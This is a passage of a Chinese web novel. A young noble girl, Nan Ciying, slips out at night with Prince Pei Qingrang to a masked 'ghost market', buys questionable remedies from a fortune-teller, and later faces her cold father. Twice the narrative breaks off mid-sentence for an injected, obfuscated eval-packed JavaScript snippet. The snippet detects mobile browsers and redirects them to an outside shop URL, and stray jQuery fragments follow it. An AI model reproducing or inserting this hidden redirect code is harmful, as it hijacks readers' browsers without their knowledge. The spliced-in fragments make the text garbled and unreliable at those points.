子衿却笑道:“傻丫头,这是给你准备练剑用的。寻常的木剑太沉,还不适合你,我特意叫上次给你打轮椅的木匠,用最好的桃花木,打成这把木剑。从今往后,我会留在府上,亲自教你。”
“什么?”南辞盈先是震惊,而后小心翼翼道,“这……子衿你还要忙自己的事,怕不是没那么多时间在军营府上来回奔波……”
子衿早知道她的小脑袋里在想什么,他不紧不慢给自己斟了一杯茶,坐在那里细细品尝了起来:“公爷已经允了我的请求,让我回来接手城里的巡防营。往后,我不仅可以教你练剑,还可以回府来日日盯着你。”
“那、那时间也不够,你知道我平日里除了要学琴棋书画,还要听先生教书,甚至晚上还要忙功课,一天下来,根本没时间再安排一门功课了……”
南辞盈绞尽脑汁想出理由,试图为自己开脱,但子衿完全不吃这一套。
茶汤滚烫,他从氤氲的雾气中望着南辞盈,不动声色道:“练剑可以安排在早晨,小姐与我一同起床,在院子练剑,不耽误其他事宜。”
见协商无果,南辞盈又一头栽回了床上,痛苦哀嚎:“跟你一起?怕不是要闻鸡起舞,子衿你饶了我吧。”
“你不半夜偷溜出去,也不会早晨起不来,对不对?”子衿放下茶盏,俯身轻弹南辞盈的额心,“西院的狗洞我已经派人堵上了,练剑的事板上钉钉,想赖皮,没门。”
“你!”南辞盈原本还想挣扎一下的心瞬间跌进了谷底,“子衿你学坏了!”
子衿笑意盈盈:“当兵的学问可多着呢,此为我新学的三十六计。”
“哪一计?”
“擒贼擒王。”
南辞盈跳起:“屁!明明是趁火打劫!”
子衿的态度坚决,想来等伤好后,自己每天的日子要被各种各样的事情堆得满满当当,虽然子衿承诺,等到休沐时便带她去茶楼喝茶听曲,可她思来想去,还是觉得憋屈。
更何况她每日半夜偷偷出门,又不单单为了去市集凑热闹,还有一些重要的事没解决呢。
最终南辞盈拍着大腿,决定今晚上再出去一次。
可怎么出去,又成了个难题。
翻墙?
不成,别说是翻墙了,她现在连翻窗都有些费劲。
爬梯子?
她能搬来梯子上墙,可又如何下墙,不成不成。
如何是好呢?
算了,再把狗洞挖开吧。
顶着被子衿发现的风险,南辞盈决意还是像上次一样将狗洞挖开,就在今晚,否则水泥干得太紧,以她的力气怕是挖到天亮都挖不开。
她假装去花房看新培出的玉兰,却趁着花匠背过身培土的时候偷偷顺走了一把泥铲藏在背后。等到深夜,她熟练地翻窗、躲人,沿着路线,溜到了西院墙角假山围起来的竹林后面。
一铲子下去,南辞盈傻眼了。
天,怎么没人告诉她,这个洞早被堵上了,现在水泥干得比石头还硬。
可恶!一定是子衿防着她这招呢,故意晚告诉她,防止她像上次那样,前脚泥瓦匠刚走,后脚便溜去给刨开了。
南辞盈将铲子一摔,气鼓鼓地待在原地一筹莫展,余光忽然瞥见临墙而生的竹子。
对啊,她可以顺着竹子爬上墙头,至于怎么下墙……算了,一会儿再想。
可是她根本不会爬树,更何况是枝节光滑的翠竹!
几次尝试,南辞盈只揪了一手的竹叶,连一半都没爬上去过,还险些压断了竹子,摔个屁股墩。
“噗嗤。”
墙头上突然传来一声不合时宜的笑声。
“你啊,还真是笨。”
南辞盈望着坐在墙头看了好一会儿热闹的人,语气有些幽怨:“怎么又是你?”
4. 鬼市有个张妙人
“大小姐好兴致,大半夜不睡觉,这是在……”裴清让停顿一瞬,眯起眼睛打量一地竹叶,故作恍然大悟,“做园艺?”
南辞盈仰头望着吊儿郎当坐在墙头的人,听出他话间的戏谑,心火顿时更甚:“你怎么在这?怎么每次倒霉的时候都能碰上你?你克我?”
裴清让半点不恼,随手捻起一片竹叶,洋洋洒洒一扔:“镇国公府的大小姐半夜不睡觉,出现在这里才很可疑吧?”
“难道堂堂昭宁五殿下半夜高坐墙头,便不可疑了么?”南辞盈叉着腰,气势丝毫不弱,但一想到刚才狼狈模样被他撞见,一抹绯红渐渐爬上脸颊,表面上仍旧嘴硬,“还是五殿下癖好独特,专爱半夜盯人爬树?”
“五殿下?”裴清让听闻先是一愣,随后嗤笑道,“也确实是五殿下没错,所以眼下是镇国公府的大小姐想翻墙出府无果,还偏教我撞见,于是恼羞成怒了?”
“你!”南辞盈不自觉上前一步,低声威胁,“你不许告诉旁人!”
裴清让瞧着眼前人宛若炸毛的猫儿,他单肘支膝,托腮笑问:“哦?你能拿我如何?”
南辞盈不卑不亢,义正言辞道:“那我便求你不要告诉别人。”
“呵。”裴清让没忍住又笑出了声,“能屈能伸,你倒是个混官场的好料子。”
现在得罪他可不是明智之举,就在刚才,南辞盈福至心灵,想到一个好办法。
裴清让能上墙,自然也能拉她一把,总比她一个人待在这里绞尽脑汁想不出个头绪强。
裴清让似是看透了南辞盈的小心思,坐在上面翘起二郎腿,好整以暇地看着她:“要我帮你?”
南辞盈嘿嘿两声:“可以吗?殿下。”
“有什么好处么?”裴清让完全不吃她这套讨好卖乖的嘴脸,“我向来不做亏本的交易,帮忙可以,你怎么回报我呢?”
“这……”南辞盈一时语塞,犹疑片刻,试探性说道,“我给你带糕点回来,作为谢礼如何?”
裴清让轻笑一声:“你当我贪嘴?”
南辞盈无奈道:“那殿下想要什么?”
“你啊,还真是笨。”裴清让纵身一跃,衣摆轻扬,转瞬便落在她面前,“光想如何去,不想如何回?我帮你出去容易,等会你要怎么回来?”
南辞盈只急着出去,一时还真忘了这茬,低头思忖片刻后,咬了咬牙:“无妨,只要殿下能帮我翻出去,其余的事情再说。”
裴清让眸色骤然一沉:“此时正值深更半夜,虽有士兵巡街,可不乏仍有些地皮流氓游荡在外,心怀不轨。你一个六岁的娃娃好大言不惭,敢孤身一人出去,且不说你这小体格遇到坏人怎么办,届时回来翻不进院子,难道躲在巷尾的乞丐窝睡一晚?”
“那你说怎么办?”南辞盈见裴清让声疾厉色地训斥自己,不满的情绪还是逸了出来,倔强地盯着自己泥泞的鞋尖,不肯抬头。
她若是不急,又怎么会三番两次爬竹竿无果后,又低声下气地卖乖求他。
可他呢?不肯帮忙便算了,还出言讥讽。
南辞盈委屈地抽了抽鼻子:“我自是没殿下神通,可我今晚出府的确有重要的事情要做,若是殿下不肯帮忙,还望殿下看在当初一起逃难的份上,不要跟其他人说起今晚的事……”
“你怎么这么不经说?你这个瞻前不顾后的性子,还不容我多说两句?”
裴清让不耐烦地轻叹一声,望着那双泪汪汪的眼睛,还是无奈妥协。
“我带你出门。”
“什么?”
南辞盈不可置信,还以为自己听错了。裴清让背过身去,又不紧不慢地重复了一遍:“我带你出去,你就不用担心今晚流落街头了。”
“可是你的伤……”南辞盈面露忧色,毕竟裴清让当初伤重到今日才转醒,让他带着自己深夜出行,终究还是不稳妥。
裴清让薄唇微抿,眉梢轻挑,语气里裹着不易察的愠气:“你不信我能平安带你回来?”
“不是不是。”南辞盈连连摆手,“我只担心……”
还没等她说完,裴清让便出声打断:“你只要信我,那便没什么好担心的。”
“子衿说,外面的刺客还未抓到。待在府里还好,府上有精兵护卫,若是敌人仍躲在暗处窥伺,我岂不是害了你?你好不容易捡回了一条命,可不能再出事了……”
裴清让气极反笑:“你这么信子衿的话?怎不见你这般信我?你个没良心的小屁孩。”
“我说的是这个么?”南辞盈也有些生气,合着她刚才讲的话,他一句也没听进去,她何时说过一句不信任他了,真是无理取闹。
寂静片刻,裴清让先出声打破这片沉默:“走不走?”
南辞盈闷声闷气应了一句:“走。”
还没等她反应过来,一转眼的功夫裴清让便拎着她跃上屋檐,突如其来的失重感让她惊呼连连,在墙上还没站稳脚,下一瞬又一阵风似地被拎着下了墙。
“你这么厉害!”南辞盈头一次体会到身轻如燕的感觉,兴奋非常,眼神里满是对裴清让的崇拜,“我先前怎么不知道你武功这么厉害,简直比府里的侍卫还要强上百倍。”
裴清让面上依旧淡无波澜,耳尖却悄悄染上薄红,曲指抵唇轻咳一声:“就这还厉害?你这小妮子真是没见识。”
“殿下真是神功盖世啊,可那天又怎会被人在山上追得狼狈,难道是因为对方人多势众……诶,别走啊殿下。”
裴清让眼底的笑意一扫而空,快步向前走去,背影之中还藏了几分幽怨。
南辞盈还在歪头思考,发觉身旁的人不见了,赶忙跟上,丝毫未察觉到刚才的一番话有什么问题。直至跟在裴清让后面走出去好久,从开始三步并两步,到后面甚至要小跑才能跟上。
这时南辞盈才后知后觉察觉出了不对,小心翼翼观察着裴清让低沉的脸色,话音带了几分谄媚和讨好:“换寻常人要被那么多人追,说不定早就被杀了,哪还能撑到逃出来求人帮忙,殿下真是独一份。”
裴清让蓦然停下脚步,深吸一口气:“不会说话可以闭嘴了。”
南辞盈讪讪噤声,身旁的人气场冷得像淬了冰,让她不禁打了个寒战。
二人同行一路无言,直至视线中出现了一抹光亮,南辞盈从背着的包裹里掏出了两个面具。
“选一个。”南辞盈递到裴清让的面前,“鬼市的规矩。”
“鬼市?”裴清让虽心有疑虑,仍接过玄金錾花半面面具戴在脸上,面具遮去了他半张容颜,只露出削薄冷白的下颌,倒为他平添了几分疏离。
南辞盈戴上面具后,解释道:“几十年前,昭宁和古羌之间战争频发,最后是以我朝胜利为结局,而后建立了朔云城,并以朔云城为节点沿着河湟流域一带建立了如今的西北边防……”
裴清让毫不犹豫地打断:“你要不要从昭宁的建朝史开始讲?”
“我正要说重点呢!”南辞盈抬眸瞪了他一眼,“当时俘虏的一批古羌的士兵和民众,太祖皇帝命他们降身为奴,为建城开荒做贡献,若是能活到天下大赦的那天便免了他们曾经的罪责,拿出城里西边的一块土地供他们生存,代价是永不得离开朔云城。”
“即便有一部分人侥幸活了下来,可仍被昭宁民众所厌恶,不与其交往。为了赚钱和生存,他们便在西街开市集,提供特色的东西卖给那些城里还不算太排斥他们的人。买卖东西的人大多不喜欢暴露身份,所以来此都会带上面具。后来又因为市集常开在半夜,来的人皆以面具遮掩身份,大家渐渐称为鬼市。”
南辞盈怕裴清让不放心,紧接着又多解释了几句:“如今古羌已灭,几十年过去,大家的关系早就缓和,东街曹掌柜的大女儿还嫁给了西街卖药材的郎中,前些年还生了一个女儿,今年刚三岁……”
裴清让眉尾上挑,淡淡瞥她一眼:“这回又要从头开始讲别人结婚生子的故事了?”
南辞盈眼睑轻抬,白了他一眼:“论起刻薄,殿下真是无可匹敌。”
鬼市灯明如昼,人声喧嚷,叫卖声穿巷绕坊,满是市井烟火气。。
快到门口时,裴清让才又陡然出声:“既备了两枚面具,你此前还带何人来过?”
“嗯?”
南辞盈一时未反应过来。靠在街边第一家卖虎皮鹿角的魁梧猎户,看见
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117005|195929||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她的身影,眼睛倏地亮起来,兴致冲冲地扭头朝旁边几个摊位喊道:“小如意来了,你们前几天是谁跟我打赌说如意双数天会来,快快掏钱。”
“如意?”裴清让唇角轻扬,漾开一抹浅淡的笑意,“你的小名?”
“要你管。”南辞盈小声嘀咕了句,快步上前,笑意盈盈跟那猎户打招呼,“李叔,你们赌了什么?赢了东西别忘了分我一份。”
卖首饰的陈叔,从怀里掏出二钱银子,不情不愿地塞到李叔的手里:“哎呦小如意,你再早来或晚来一天,你陈叔叔我还能多赚个酒钱。”
“哈哈哈哈哈,老陈头,这就是天意。”李叔狠狠亲了一口手里的战利品,掩饰不住的兴奋,“你惦记了好些日子的陈酿,还是我替你尝尝吧。小如意也带你一份,你可是今天的功臣。”
王婶掀开热气腾腾的笼屉,眼前顿时白雾盈满,香气扑鼻。
她拿起一块糕点塞到南辞盈的手里:“别听他们瞎说,小如意最近怎么没来?婶子可是想你想得紧,快尝尝,这是我最新研制的配方,梨花米糕。”
南辞盈掰了一半递给裴清让,裴清让没有马上接,反倒眸光带着审视与戒备,撇了一眼王婶的摊子。
这时王婶才注意到南辞盈身边站了一位气宇不凡的少年:“……这位是?”
“呃……”南辞盈漫不经心的将糕点塞进嘴里,随口胡诌道,“我的侍卫,小翡。”
南辞盈感受到裴清让浑身一滞,根本不敢抬眼看他,索性将另一块糕点也连忙塞进嘴里:“好吃,梨花清甜,比上次用桃花做的少了几分香腻。”
“哎呦,慢点吃。”王婶斟了一盏茶递到她眼前,又扫了一眼裴清让,很快接受了他侍卫的身份,“难得出门能领个人,省得像上次,转了半个时辰还没走出鬼市。”
“咳咳咳……”南辞盈被王婶的一番话呛得直咳,接过茶来一饮而尽,好不容易才顺过气,“这都是刚来时候的事了……”
“可不是,你前些日子还……”
“咳咳,王婶,我怎么今天没看见赵姨和玲儿姐姐。”
南辞盈连忙转移话题,她可不想在裴清让面前连老底都被掀干净。
王婶叹了一口气,手上的活计未停,一边摆米糕一边道:“前些日子,玲儿上山采木的时候不小心崴伤了脚,大夫说好长时间都下不了床,你赵姨扔了摊子,天天照顾她呢。”
“真不巧,我还寻思求玲儿姐姐帮我做一个装东西的匣子呢。”整个鬼市也只有玲儿姐姐最擅长做精巧的木质小玩意了,南辞盈想买来装子衿送给她的琥珀,看来这下一时半会儿是买不到了。
“对了,”南辞盈突然想起了正事,“张妙人还在么?”
王婶将新做好的一批米糕放在蒸屉上,又用腰间的围裙擦了擦手,随后才不情不愿地开口:“他啊,他哪天不在,躲在巷尾里摆摊呢……”
“太好了,我正找他有事呢,这趟算是没白来。”南辞盈喜出望外,忙不迭地拽着裴清让就要离开,“王婶,我先走了,改天再来陪你说话”
“如意啊……”
望着南辞盈离开的背影,王婶怅叹一声,坐在灶前。李叔赢了钱还在兴头上,吵吵嚷嚷,她被惹得心烦,顺手给了他一拳。
李叔吃痛地哀嚎一声:“哎呦喂,母老虎……”
话音未毕,又挨了一拳,只得悻悻闭了嘴。
“什么张妙人?”
二人并肩行出甚远,从熙攘街头走到僻静的巷尾,周遭人声渐杳,沉默了许久的裴清让才缓缓启唇,问出心中的疑惑。
“他可是鬼市里最厉害的奇能异士,上知天文地理,下知文经武律,明阴阳,懂八卦。”南辞盈踮着脚,朝周围四处张望,嘴里嘟囔着,“这个张妙人也真是的,每次都躲在犄角旮旯,找起来真费劲。”
“这不是小如意吗?”
从巷尾走出穿着一身半旧的蓝布短衫的男人,腰间坠着桃木卦牌,斜挎的旧木卦箱坠得肩头微塌,另一只手里还挑着一面布幌,上面墨字清晰——观星相面,趋吉避凶。
南辞盈眸子倏地一亮,快步上前:“张妙人,你怎么跑这里来了?”
5. 殿下,借个钱
“如意啊如意,你可让我好等,这些日子你去哪了?”
张妙人略有些跛脚,每走一步,箱子里的瓶瓶罐罐便叮当作响,他抬手扶住木箱,视线上移,发现南辞盈身旁还站着一个人,看样子是一同来的。
“这位是?”不同于王婶的简单一掠,张妙人可是毫无顾忌地上下打量了裴清让两圈,“小如意,你带了外人来,这生意我可不跟你做了。”
说罢,张妙人抬脚便要离开,南辞盈连忙把他拉住:“别走啊,这又不是外人,我你还信不过吗?”
“不成不成,这生意我不做了。”张妙人仍是要走,“当初说好,你在我这里买东西不让旁人知晓,今天带了个人来算怎么回事,你言而无信在先,就休要怪我背信弃义在后了。”
“哎呀,你怎么还说不听了。”南辞盈蹲在地上,死死拉着他的衣摆不撒手,“钱还要不要赚了?”
提到钱,张妙人的神色动容了一瞬,他又回头瞅了一眼裴清让,不小心对上了那冷如寒潭的目光,吓到浑身一颤,连连摆手:“不做了不做了,你快放手,我要回家给我幺儿做饭了。”
“别扯东扯西,这个时间你家孩子早睡了,今天这个生意你是做也得做,不做也得做。”南辞盈指了指裴清让,威胁道,“看到没,我家侍卫武功盖世,你不跟我做生意,小心他把你摊子给砸了。”
张妙人无奈仰天长啸:“哎哟,小祖宗,你还让不让人活了。”
南辞盈起身,双臂抱胸站在裴清让的身侧,昂首挺胸,大有一副仗势欺人的架势:“利诱不成,你就休怪我威逼了。”
裴清让的脸上难得浮出一抹笑意,配合道:“嗯,小姐说砸,那便砸得。”
“我卖,我卖还不成么。”张妙人凄怨的眼神里净是被强迫之后的无奈,转身在头前带路同时,还不忘小声嘀咕了句,“这叫什么事啊。”
南辞盈眼尾弯成月牙,嘴角翘着藏不住的笑意,脸颊漾出两个浅浅的梨涡,一副奸计得逞的样子。
“开心了?”裴清让也不自觉地弯起唇角,“今晚跑出来就是为了这件事?”
南辞盈点点头:“是啊,幸亏有你在。”
路走得七拐八拐,总算走到了暗巷深处的一处小院,张妙人拎起放在门口的油灯,微弱的烛光堪堪照亮前路的一小片地方:“我家幺儿睡了,你们声音轻一点。”
张妙人领着他们进了旁边一个巴掌大点的屋子,屋内四面无窗,唯有一道供人进出的小门。墙壁上支着一个高耸至房顶的书架,架上挤了满满当当的书。小桌子被挤在一旁,上面堆满了写满字的稿纸,三个人站在里面显得更拥挤了。
“能不能让你家侍卫出去,我都答应卖给你东西了,剩下的事他就不要掺和了吧。”张妙人小心翼翼地询问,还时不时心虚地看着裴清让的脸色,看样子他是真的很怕裴清让。
南辞盈望向裴清让,弱弱道:“要不……”
裴清让一个眼刀杀了过来,南辞盈旋即把后半句话咽了回去,义正言辞地对张妙人说道:“我觉得我家侍卫可以在这此陪我。”
裴清让别过脸冷哼一声。
张妙人长吁短叹半天,终于从桌子下的木箱里陆陆续续掏出来各种各样的瓶瓶罐罐摆在桌子上,全然没了先前那股精气神。
南辞盈拿起瓶子挨个对着光线,仔细打量:“对了,上次你说,治识途不敏的药是哪一瓶来着?”
张妙人霎时觉得如芒在背,汗水沿着额角流下,心虚到眼神乱瞟,说话时的尾音都在发飘:“啊……这……大概……买的人太多……卖光了吧……”
“呵……”裴清让下颌微抬,薄唇勾出一抹倨傲的笑,笑意轻佻又不屑,“张大人真是神医啊,连这种药都有。”
张妙人从袖里掏出块帕子,局促地擦着脑门上不停冒出的虚汗:“什么大人不大人的,民间偏方,见笑见笑……”
南辞盈专心致志地挑着药瓶,忽然眸子一挑,眼中闪过一抹亮色,拿起其中一个:“这不是……”
张妙人连连摆手:“不是不是。”
“这不是你上次跟我说,可以让人忘却烦忧、延年益寿的药吗?竟没卖出去,看来今日还真是赚到了。”
南辞盈还沉浸在巧得珍宝的喜悦之中,完全没发现张妙人笑比哭还难看的一张脸,和身侧裴清让愈发阴沉的眸色。
“咦?这个助眠的药前些日子不是卖光了吗?你又新配了?太好了,我都买了。”
“这个瓶子里是不是装着可以强身健体的药丸啊,你上次说还能治疗风寒,我买了。”
“还有这个,那个我也要了,都给我打包起来。”
“诶?你这是做什么?”南辞盈恍然觉得自己两脚悬空,她正趴在桌上挑得尽兴,却被裴清让单手拎出了屋子。
“走了。”
虽看不见裴清让的表情,却能明显感受到他此时的心情并不算愉快,浑身上下透着一股冷戾。
“走?去哪?”南辞盈还懵着,不明所以,“我还未付钱呢。”
“回府。”
裴清让淡淡吐出两个字,言简意赅。
“可我还没买完呢。”
南辞盈一溜烟又想钻进屋子里,被裴清让一把拉住。
他眉峰微凝,眸光骤厉:“买?买什么?”
“药啊,我跟你说,张妙人的药别看其貌不扬,实际上内里大有乾坤。”南辞盈不着痕迹地躲开裴清让的手,“等我买完,很快的。”
裴清让唇线抿成一道冷硬的弧,垂眸掩去眼底翻涌的怒意,声线冷硬:“随你。”
说罢便拂袖离去,留南辞盈一人在屋子里继续挑挑拣拣。
张妙人看见裴清让离开,心里长松了一口气:“你打哪找的侍卫,真真是吓人。”
“嗐,说来话长。”南辞盈抬起头来,指了指面前的一堆瓷瓶,“这些,都给我包起来,算一下价格。”
张妙人见此顿时眉开眼笑,赶忙掏出布袋往里装:“小如意,要不是说,整个鬼市的买家还是你最有眼光,我这药绝对保真,用了之后绝对药到病除,强身健体。”
“行了行了,赶紧吧。”南辞盈不耐烦地摆摆手,刚想掏出荷包付钱,一摸怀里竟空空如也,“诶?我荷包呢?”
南辞盈心头咯噔一下,猛然记起关键。
好像从她那天醒来后,再也没见过荷包,加上这段时间她都待在府里,全然没察觉到荷包丢了这件事。
南辞盈仔细一想,只可能是在山上逃跑那日不小心给弄丢了。钱丢事小,她唯独舍不下子衿送给她的礼物。
她怅然若失:“我的琥珀啊……”
“嘿嘿,小如意,包好了,这些只这个数,我给你最实惠的价钱。”张妙人满脸堆笑,慢慢伸出一根手指,眸藏精光,态度谄媚,“一两银子,不多吧。”
“琥珀,我的琥珀……”南辞盈怔怔站在原地,眼神空空,宛若行尸走肉般念叨着,全然没在听张妙人说了什么。
张妙人伸手在南辞盈眼前晃了两下:“银子,我的一两银子。”
南辞盈喉间滚了滚,终究化作一口长气吐出,气声悠悠,无奈地看了张妙人一眼:“等着,我去找我家侍卫拿钱去。”
“等……等一下……”张妙人急忙叫住南辞盈,顿时变得惶恐不安,“小如意若是没带钱来,那等下次再来买也无妨……不必非得劳烦侍卫大人再回来一趟……哎呀,别走啊小如意!我真不着急!”
南辞盈无视张妙人,出了院子原路返回,还没走出去几步,就发现裴清让站在不远处双臂抱胸,背靠着墙壁,闭目养神。
南辞盈小跑几步到他面前,微微喘着粗气,傻笑两声:“嘿嘿,我就知道你还没走。”
裴清让眉梢微挑,发现到南辞盈手里空空如也,神色几不可察地缓和了几分:“怎么?不做傻子了?”
“不是,我来问你借点钱……”
南辞盈还未说完,裴清让脸色骤然一沉,头也不回地离开了。
“求你了裴清让,今天我忘带钱了,下次一定补给你。”南辞盈态度诚恳,不停祈求,“我明日定双倍,不,十倍还你。”
“呵。”
又是一声冷笑。
南辞盈眼看裴清让越走越快,突然蹲在地上死死抱着他的腿不撒手:“帮我一次,就这一次,求你了。”
“不当傻子,改当无赖了?”裴清让怒极反笑,“松手。”
南辞盈真就耍起了无赖,死活不肯放手:“不要,除非你答应我。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117006|195929||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“借钱可以。”
听到裴清让松了口,南辞盈瞬间从地上跳了起来,还未等她伸手要钱,末了又听到他补充一句:“傻子除外。”
话音刚落,裴清让脚底抹油逃到了房上,随即便不见踪影。
“裴清让!”南辞盈气得在原地大喊,委屈又无助,“你就这么不信我,你还说我不信你,偏偏你才是最不信我的那个。”
“我何时不信你了?”裴清让不知从哪冒出,倒悬在房檐上,又一跃回到了南辞盈的面前,“又哭?”
南辞盈仰头瞪着他,努力将眼泪倒回,恶狠狠道:“没哭!”
默然片刻,裴清让忽然笑了笑,扔给她一个钱袋,喟叹一声:“我上辈子是欠你的么?”
南辞盈掂了掂手里的钱袋,扬起下巴,从鼻端溢出一声轻哼:“大概吧。”
两人又折返回到了张妙人那里。
张妙人正拎着东西站在门口眺望,抬头撞见裴清让的身影,腿肚子当即发软,连大气都不敢喘,身子躬着像只受惊的鹌鹑。
裴清让只接过布袋,没再说什么,倒是张妙人收了钱后忙不迭地逃回了屋子里。
南辞盈歪头不解:“他怕你?”
裴清让掂了掂手里的东西,冷笑道:“大概吧。”
二人离开后,身后的矮房传来孩子止不住的低咳,在落针可闻的寂夜里显得格外清晰。
不出意外,南辞盈回到府上后又睡到了晌午,好在她还在养病期间,众人对此都见怪不怪。哪怕后来,她坦言自己的伤已经好得差不多了,却又被子衿要求休息了好多天,还喝了好长一段时间苦到舌根发麻的补药。
春来五月,花开满园。
朔运城最大的茶楼——松风茶舍,不知用什么手段请来了京城里颇具盛名的琴师,这几日茶楼里堂内座无虚席,连廊下都摆了临时的茶桌,座上宾客满盈。
这段时间南辞盈天天被子衿耳提面命,天不亮便被叫起学武,美其名曰:早睡早起,强身健体。平日里还要读书插花,弹琴做茶,缝针绣花,学习宫廷礼仪,忙得她是头脚倒悬,晚上沾枕即眠。
好不容易赶上一个休沐天,南辞盈早早遣小夏去定松风茶舍的包房,却被告知,预定已经排到了下个月,而子衿又推脱今日有事无法陪她。
得知消息的时候,她正往院子里移种紫阳花,灰头土脸,满身泥尘,直拿着泥铲疯狂刨土,发泄心中的不满。
“骗子,大骗子,说好了带我去茶楼,又爽约。”
南辞盈嘴上埋怨着,手里的活却没停,一时间泥土四溅,可是怎么看都感觉怨气冲天。花匠见此很有眼力地躲回花房,避免无妄之灾。
“这回真在做园艺活呢?”
南辞盈不用看,就知道是谁,只闷着头将手边的花苗栽到坑里一铲铲培土。她早知裴清让和太傅暂住在镇国公府上,所以对在小花园里碰见他也并不感到惊讶。
“稀奇?又觉得稀奇?殿下还真是少见多怪。”她心口窝堵着一团怨气,现在可没心情和他开玩笑。
听不到妙曲,喝不上好茶,那她每日每夜,累死累活地学又是为了什么,这段时间,她可就盼着这一天。
裴清让好脾气地蹲在她的身侧:“什么事让你这么生气,说来听听。”
南辞盈睨了他一眼:“你哪里看出我在生气,焉不知这花就是要这么种的?。”
“你当我和你一样傻?”裴清让轻笑一声,伸手扶起花苗被折断而耷拉下来的叶子,“不过,这园子是你布置的?”
“不然还会有谁?”
裴清让缓缓起身,一抬头,满院春华映入眼帘。
梨花洁白胜雪宛若碎玉般铺洒在廊下青石阶,另侧艳红桃花簇簇倚朱栏,妖冶非常。檐角海棠垂丝,花沾晓露,泼洒芬芳,荼蘼爬满藤架,花影横斜,香风漫卷。
檐下东风拂过,风铃轻摇,阶前芳丛竞发,满院芳姿争艳,风过之处,暗香盈袖,惹得蜂蝶绕枝翩跹。
“此间景色,万般美好。”
难得听到裴清让由衷的赞叹,南辞盈抬眸望见少年长身立花丛,清眸流盼,不禁问道:“你多大?”
“十二。”
“不像。”
“啧,巧言令色。”
6. 一波三折
“殿下怎么跑到这里来了,让我好找。”
远处廊桥不知何时站着一位白发老者,发如霜雪,却梳理得一丝不乱,用一支温润的羊脂玉簪绾着。
他身着月白长衫,袖口绣着淡青色的兰草纹,一双眸子深邃平和,举止间端方儒雅。
裴清让敛去笑意,拱手行礼:“太傅。”
南辞盈简单整理了一下着装,紧跟着浅施一礼:“镇国公嫡女见过宋太傅。”
“哦?”宋太傅丝毫不在意南辞盈不修边幅的样子,反倒眼神中流露出几分赞许,“你就是南傲霄的女儿?小小年纪竟能亲自动手侍弄园子里的花草,京城里的大家闺秀可没有你这样的能耐。”
南辞盈脊背微挺着,微微颔首:“太傅谬赞了,这原本就是花匠的功劳,我不过就是趁着闲暇时间帮忙打打下手,不敢居功。”
宋太傅负手立在阶前,缓缓扫过眼前景致,眉峰轻舒:“春季里能开得花不过几种,在北方更是少见,你能将它们都拢到一个院子里来,可见你的用心。是曾专门学过艺花吗?”
“不曾,这只是我的喜好罢了。倒也学过君子六艺。”
南辞盈回答得落落大方,妥帖合宜,无半分忸怩局促,没有因为宋太傅的身份而怯懦。
宋太傅眼底漾开惊喜的光:“哦?你才六岁便礼、乐、射、御、书、数样样精通?”
南辞盈摇摇头,坦然承认:“不,是样样不精。”
宋太傅愣神片刻,随后哈哈大笑:“不愧是将门虎女,有胆识,有气魄。殿下,你说是不是啊?”
裴清让笑意淡而沉稳:“童言无忌罢了。”
“小女愚昧,上不得台面,太傅见笑了。”
南傲霄身形凛凛,步履沉稳,剑眉斜挑入鬓,神色沉如寒潭,眼角刻着浅纹却眸光锐利,下颌留寸许青黑胡茬,声音听起来不怒自威。
子衿负剑紧随其后,见到园中的场景,眉峰微蹙,眼底凝着几分沉郁。
南辞盈已经不记得多久没有见过南傲霄了,一时间有些愣神,反应过来连忙行礼:“见过父亲。”
“不成体统。”
南傲霄路过她时,连余光都不曾分给她片刻,径直走入园中,嗓音沉冷,字字落得生硬。
饶是早就预料到会是这样的场景,南辞盈的心中仍不可避免地泛起酸楚,笑容顿时僵在了脸上,满是苦涩。
宋太傅笑吟吟地打着圆场:“放眼满京城里哪家大家闺秀有她打理的出色?又有几个人能抛下小姐架子亲自培植花卉?公爷就是太严苛了。”
南傲霄轻嗤一声:“不学无术罢了,哪里值得夸耀?。”
又回头嘱咐道:“告诉下人,从今往后不准再往府上添置这种名贵花材了。”
南辞盈羽睫低垂,咬着唇,小手攥紧衣袖,将情绪敛入眼底。
“这脾气呦。”宋太傅笑着摇头,对南辞盈道,“你喜欢花么?京城里四季如春,遍地繁花,品种可比这里多多了,下次再来的时候我带你去京城看看如何?”
“呵,去了京城也只会闹笑话。”南傲霄神色漠然,浅扫过南辞盈泥泞的衣裙,“子衿,带她下去梳洗一下,莫要再像今天这般失礼。”
宋太傅眉头微蹙却无真怒:“你看看你,我就觉得你的女儿温婉端方,颜才俱佳,她要是不好,也是你这个父亲教导无方,她还年幼,何苦如此苛责。”
回去的路上,南辞盈沉默不语,指尖轻轻绞着衣袂,垂着的眼睫簌簌轻颤,泪珠在眼眶里打转转,却强忍着不肯掉下来。
“公爷是有苦衷的。”子衿亦步亦趋跟在后面,望着她落寞的背影,柔声宽慰道,“小姐不要放在心上。”
是啊,她早知父亲不喜她,可为何心里还是会这么难过。
南辞盈驻足原地,望着周围高耸入云的院墙,霎时觉得胸口上像压了一块大石头,喘不过气来,却转头对子衿笑盈盈地说道:“子衿,我想出去走走。”
这府里一直都冷冰冰的,或许只有踏出这四方天地的时候,才能让她有片刻的心安。
